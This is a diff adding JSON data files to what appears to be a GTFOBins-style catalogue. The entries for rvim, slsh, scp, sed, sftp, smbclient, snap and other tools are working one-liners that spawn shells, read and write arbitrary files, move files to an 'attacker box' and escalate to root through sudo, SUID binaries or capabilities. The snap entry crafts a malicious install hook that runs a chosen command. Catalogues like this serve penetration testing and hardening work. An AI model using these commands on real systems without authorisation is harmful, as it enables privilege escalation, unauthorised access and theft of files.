"code": "rvim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'"
|
|
69
|
+
}
|
|
70
|
+
],
|
|
71
|
+
"suid": [
|
|
72
|
+
{
|
|
73
|
+
"description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.",
|
|
74
|
+
"code": "./rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'"
|
|
75
|
+
}
|
|
76
|
+
],
|
|
77
|
+
"sudo": [
|
|
78
|
+
{
|
|
79
|
+
"description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.",
|
|
80
|
+
"code": "sudo rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
81
|
+
},
|
|
82
|
+
{
|
|
83
|
+
"description": "This requires that 'rvim' is compiled with Lua support.",
|
|
84
|
+
"code": "sudo rvim -c ':lua os.execute(\"reset; exec sh\")'"
|
|
85
|
+
}
|
|
86
|
+
],
|
|
87
|
+
"capabilities": [
|
|
88
|
+
{
|
|
89
|
+
"description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.",
|
|
90
|
+
"code": "./rvim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
|
|
91
|
+
}
|
|
92
|
+
],
|
|
93
|
+
"limited-suid": [
|
|
94
|
+
{
|
|
95
|
+
"description": "This requires that 'rvim' is compiled with Lua support.",
|
|
96
|
+
"code": "./rvim -c ':lua os.execute(\"reset; exec sh\")'"
|
|
97
|
+
}
|
|
98
|
+
]
|
|
99
|
+
}
|
|
100
|
+
}
|
gtfo/data/sash.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "slsh -e 'system(\"/bin/sh\")'"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"sudo": [
|
|
9
|
+
{
|
|
10
|
+
"code": "sudo slsh -e 'system(\"/bin/sh\")'"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"limited-suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "./slsh -e 'system(\"/bin/sh\")'"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/scp.json
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\nscp -S $TF x y:\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-upload": [
|
|
9
|
+
{
|
|
10
|
+
"description": "Send local file to a SSH server.",
|
|
11
|
+
"code": "scp [file] [user@host:[file]]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"file-download": [
|
|
15
|
+
{
|
|
16
|
+
"description": "Fetch a remote file from a SSH server.",
|
|
17
|
+
"code": "scp [user@host:[file]] [file]\n"
|
|
18
|
+
}
|
|
19
|
+
],
|
|
20
|
+
"sudo": [
|
|
21
|
+
{
|
|
22
|
+
"code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\nsudo scp -S $TF x y:\n"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"limited-suid": [
|
|
26
|
+
{
|
|
27
|
+
"code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\n./scp -S $TF a b:\n"
|
|
28
|
+
}
|
|
29
|
+
]
|
|
30
|
+
}
|
|
31
|
+
}
|
gtfo/data/screen.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "screen"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-write": [
|
|
9
|
+
{
|
|
10
|
+
"description": "This works on screen version 4.06.02. Data is appended to the file and '\\n' is converted to '\\r\\n'.",
|
|
11
|
+
"code": "screen -L -Logfile [file] echo DATA\n"
|
|
12
|
+
},
|
|
13
|
+
{
|
|
14
|
+
"description": "This works on screen version 4.05.00. Data is appended to the file and '\\n' is converted to '\\r\\n'.",
|
|
15
|
+
"code": "screen -L [file] echo DATA\n"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"sudo": [
|
|
19
|
+
{
|
|
20
|
+
"code": "sudo screen"
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|
gtfo/data/script.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "script -q /dev/null"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"sudo": [
|
|
9
|
+
{
|
|
10
|
+
"code": "sudo script -q /dev/null"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"file-write": [
|
|
14
|
+
{
|
|
15
|
+
"description": "The wrote content is corrupted by debug prints.",
|
|
16
|
+
"code": "script -q -c 'echo DATA' [file]"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/sed.json
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "GNU version only. Also, this requires 'bash'.",
|
|
6
|
+
"code": "sed -n '1e exec sh 1>&0' /etc/hosts"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "GNU version only. The resulting shell is not a proper TTY shell.",
|
|
10
|
+
"code": "sed e"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"command": [
|
|
14
|
+
{
|
|
15
|
+
"description": "GNU version only.",
|
|
16
|
+
"code": "sed -n '1e id' /etc/hosts"
|
|
17
|
+
}
|
|
18
|
+
],
|
|
19
|
+
"file-write": [
|
|
20
|
+
{
|
|
21
|
+
"code": "sed -n \"1s/.*/DATA/w [file]\" /etc/hosts\n"
|
|
22
|
+
}
|
|
23
|
+
],
|
|
24
|
+
"file-read": [
|
|
25
|
+
{
|
|
26
|
+
"code": "sed '' [file]\n"
|
|
27
|
+
}
|
|
28
|
+
],
|
|
29
|
+
"suid": [
|
|
30
|
+
{
|
|
31
|
+
"code": "./sed -e '' [file]\n"
|
|
32
|
+
}
|
|
33
|
+
],
|
|
34
|
+
"sudo": [
|
|
35
|
+
{
|
|
36
|
+
"description": "GNU version only. Also, this requires `bash`.",
|
|
37
|
+
"code": "sudo sed -n '1e exec sh 1>&0' /etc/hosts"
|
|
38
|
+
}
|
|
39
|
+
]
|
|
40
|
+
}
|
|
41
|
+
}
|
gtfo/data/service.json
ADDED
gtfo/data/setarch.json
ADDED
gtfo/data/sftp.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "sftp [user@host]\n!/bin/sh\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-upload": [
|
|
9
|
+
{
|
|
10
|
+
"description": "Send local file to a SSH server.",
|
|
11
|
+
"code": "sftp [user@host]\nput [source_file] [destination_file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"file-download": [
|
|
15
|
+
{
|
|
16
|
+
"description": "Fetch a remote file from a SSH server.",
|
|
17
|
+
"code": "sftp [user@host]\nget [source_file] [destination_file]\n"
|
|
18
|
+
}
|
|
19
|
+
],
|
|
20
|
+
"sudo": [
|
|
21
|
+
{
|
|
22
|
+
"code": "sudo sftp [user@host]\n!/bin/sh\n"
|
|
23
|
+
}
|
|
24
|
+
]
|
|
25
|
+
}
|
|
26
|
+
}
|
gtfo/data/sg.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "Commands can be run if the current user's group is specified, therefore no additional permissions are needed.",
|
|
6
|
+
"code": "sg $(id -ng)\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo sg root\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
gtfo/data/shuf.json
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"description": "The read file content is corrupted by randomizing the order of NUL terminated strings.",
|
|
6
|
+
"code": "shuf -z \"[file]\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-write": [
|
|
10
|
+
{
|
|
11
|
+
"description": "The written file content is corrupted by adding a newline.",
|
|
12
|
+
"code": "shuf -e DATA -o \"[file]\"\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"suid": [
|
|
16
|
+
{
|
|
17
|
+
"description": "The written file content is corrupted by adding a newline.",
|
|
18
|
+
"code": "./shuf -e DATA -o \"[file]\"\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"sudo": [
|
|
22
|
+
{
|
|
23
|
+
"description": "The written file content is corrupted by adding a newline.",
|
|
24
|
+
"code": "sudo shuf -e DATA -o \"[file]\"\n"
|
|
25
|
+
}
|
|
26
|
+
]
|
|
27
|
+
}
|
|
28
|
+
}
|
gtfo/data/smbclient.json
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "A valid SMB/CIFS server must be available.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "smbclient '\\\\[host]\\share'\n!/bin/sh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-upload": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Install 'https://github.com/SecureAuthCorp/impacket' and run 'sudo smbserver.py share /tmp' on the attacker box to collect the file.",
|
|
12
|
+
"code": "smbclient '\\\\[host]\\share' -c 'put [source_file] [destination_file]'\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-download": [
|
|
16
|
+
{
|
|
17
|
+
"description": "Install 'https://github.com/SecureAuthCorp/impacket' and run 'sudo smbserver.py share /tmp' on the attacker box to send the file.",
|
|
18
|
+
"code": "smbclient '\\\\[host]\\share' -c 'put [source_file] [destination_file]'\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"sudo": [
|
|
22
|
+
{
|
|
23
|
+
"code": "sudo smbclient '\\\\[host]\\share'\n!/bin/sh\n"
|
|
24
|
+
}
|
|
25
|
+
]
|
|
26
|
+
}
|
|
27
|
+
}
|
gtfo/data/snap.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"description": "It runs commands using a specially crafted Snap package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```cd $(mktemp -d)\nmkdir -p meta/hooks\nprintf '#!/bin/sh\\n%s; false' \"[command]\" >meta/hooks/install\nchmod +x meta/hooks/install\nfpm -n xxxxx -s dir -t snap -a all meta\n```",
|
|
6
|
+
"code": "sudo snap install xxxxx_1.0_all.snap --dangerous --devmode\n"
|
|
7
|
+
}
|
|
8
|
+
]
|
|
9
|
+
}
|
|
10
|
+
}
|